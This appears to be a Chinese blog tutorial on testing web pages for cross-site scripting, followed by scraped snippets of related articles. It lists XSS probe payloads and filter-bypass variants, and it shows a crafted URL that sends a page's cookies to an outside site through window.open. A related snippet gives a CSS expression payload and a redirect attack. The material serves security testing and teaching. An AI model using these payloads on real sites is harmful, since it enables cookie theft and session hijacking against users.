安全测试-跨站脚本攻击(xss)

跨站脚本简称XSS(cross sites script),是web安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。

  最常见的测试跨站脚本的方法,输入

  <Script>alert(1)</script>

  以及它的各种变体

  <script>alert(1) </script>实体

  %3Cscript%3Ealert(1)%3C/script%3E  URL编码

  <scr<script>ipt>alert(1)<scr<script>ipt>

  <script x=1>alert(1)</script x=1> 还可以这样写

  或者<script>confirm(1)</script>

  <javascript.:alert(1)>;等

  如果提交后,页面弹出警告框,则该页面存在xss漏洞

  *反射型xss

  通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果

  如:一段代码

  <html><body>

  <script>

  document.write(location.search);</script>//location.search返回url?开始的部分

  </body></html>

  当输入以下url

  "http://127.0.0.1/attrck.html?search=222"

  页面将显示:?search=222 ;但url中如果输入

  /?search=<Script>alert(1)</script>

  则页面的实际代码为:

  document.write(?search=)<Script>alert(1)</script>;

  将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果

  可以使用伪造后的url获取用户cookie

  如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到百度并进行搜索

  http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>

  因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域

  *保存型xss

  是指将恶意代码保存到服务器,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本

  *基于dom的xss

  严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss

  查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。

最新内容请见作者的GitHub页:http://qaseven.github.io/

时间: 2024-08-01 17:33:23

安全测试-跨站脚本攻击(xss)的相关文章

Asp.net跨站脚本攻击XSS实例分享

 Asp.net跨站脚本攻击XSS实例分享 常用攻击代码: http://target/vuln-search.aspx?term= </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> Redirection Attack http://target/vuln-search.aspx?term= </XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.xxx

面对跨站脚本攻击XSS的安全防御的有价值的建议

此文章主要阐述的是面对跨站脚本攻击XSS的安全防御的相关建议,你如果对跨站脚本攻击XSS的安全防御的相关建议有兴趣的话你就可以点击以下的文章进行观看了,以下就是文章的详细内容介绍,望大家借鉴.XSS攻击作为Web业务的最大威胁,危害的不仅仅是Web业务本身,对访问Web业务的用户也会带来直接的影响,如何防范和阻止XSS攻击,保障Web站点的业务安全呢? 首先我们就要了解什么是XSS攻击.第 1 页 面对跨站脚本攻击XSS的安全防御建议XSS攻击作为Web业务的最大威胁之一,不仅危害Web业务本身

[Web安全之实战] 跨站脚本攻击XSS

一.认识XSS先   先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个 认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所以,没有绝对的安全.   今天,泥瓦匠带你们认识下XSS,然后关于怎么防御的问题.至于防御的话,仁者见仁智者见智.尔等啥都不配不上的就绰见,望各位阅读者相互讨论.泥瓦匠目前是搞JAVA的,所以例子上JAVA比较多.   Q: 什么是X

利用PHP编程防范XSS跨站脚本攻击

国内不少论坛都存在跨站脚本漏洞国外也很多这样的例子甚至Google也出现过不过在12月初时修正了.(编者注关于跨站脚本漏洞攻击读者可参阅<详解XSS跨站脚本攻击>).跨站攻击很容易就可以构造而且非常隐蔽不易被查觉通常盗取信息后马上跳转回原页面. 如何攻击在此不作说明也不要问我主要谈谈如何防范.首先跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截.针对非法的HTML代码包括单双引号等可以使用htmlentities() .

如何利用php防止XSS跨站脚本攻击

 首先,跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截.针对非法的HTML代码包括单双引号等,可以使用htmlentities()函数 . <?php $str = "A "quote" is <b>bold</b>"; // Outputs: A "quote" is bold echo htmlentities($str); // Out

《XSS跨站脚本攻击剖析与防御》目录—导读

内容提要 XSS跨站脚本攻击剖析与防御 本书是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下. 第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害.第2章 XSS利用方式,就当前比较流行的XSS利用方式做了深入的剖析,这些攻击往往基于客户端,从挂马.窃取Cookies.会话劫持到钓鱼欺骗,各种攻击都不容忽视.第3章 XSS测试和利用工具,介绍了一些常见的XSS测试工具.第4章 发掘XSS漏洞,着重以黑盒和白盒的角度介绍如何发掘XSS漏洞,以便帮助读者树立安全

最新的黑客技术:XSS跨站脚本攻击详细介绍_漏洞研究

总体上介绍 简单介绍什么是XSS攻击 如何寻找XSS漏洞 对于XSS攻击的总体思路 来自内部的攻击: 如何寻找内部的XSS漏洞 如何构造攻击 如何利用 结何实例攻击,如DVBBS&BBSXP 来自外部的攻击 如何构造XSS攻击 如何欺骗管理员打开 XSS与其它技术的结何 与mssql injection的结合 QQ跨站的结何 国内大型统计网站的跨站漏洞 社会工程学 制作恐怖的flash木马 制作方法由李丰初写 总结  正文: XSS总体介绍 什么是XSS攻击 XSS又叫CSS  (Cross S

《XSS跨站脚本攻击剖析与防御》—第6章6.1节参 考 文 献

参 考 文 献 XSS跨站脚本攻击剖析与防御 [1] <精通 JavaScript> (美)John Resi /陈贤安(译) [2] <JavaScript核心技术> (美)Shelley Powers /苏敬凯(译) [3] <XSS Attacks: Cross Site Scripting Exploits and Defense>Seth Fogie/Jeremiah Grossman/Robert Hansen/Anton Rager/Petko D. Pe

Web安全之跨站脚本攻击(XSS)

什么是XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. XSS的攻击场景 反射型这类攻击方式主要借助URL来实施.URL的构成分为协议.域名.端口.路径.查询几部分构成.如图所示: XSS往往在"查询"部分发现漏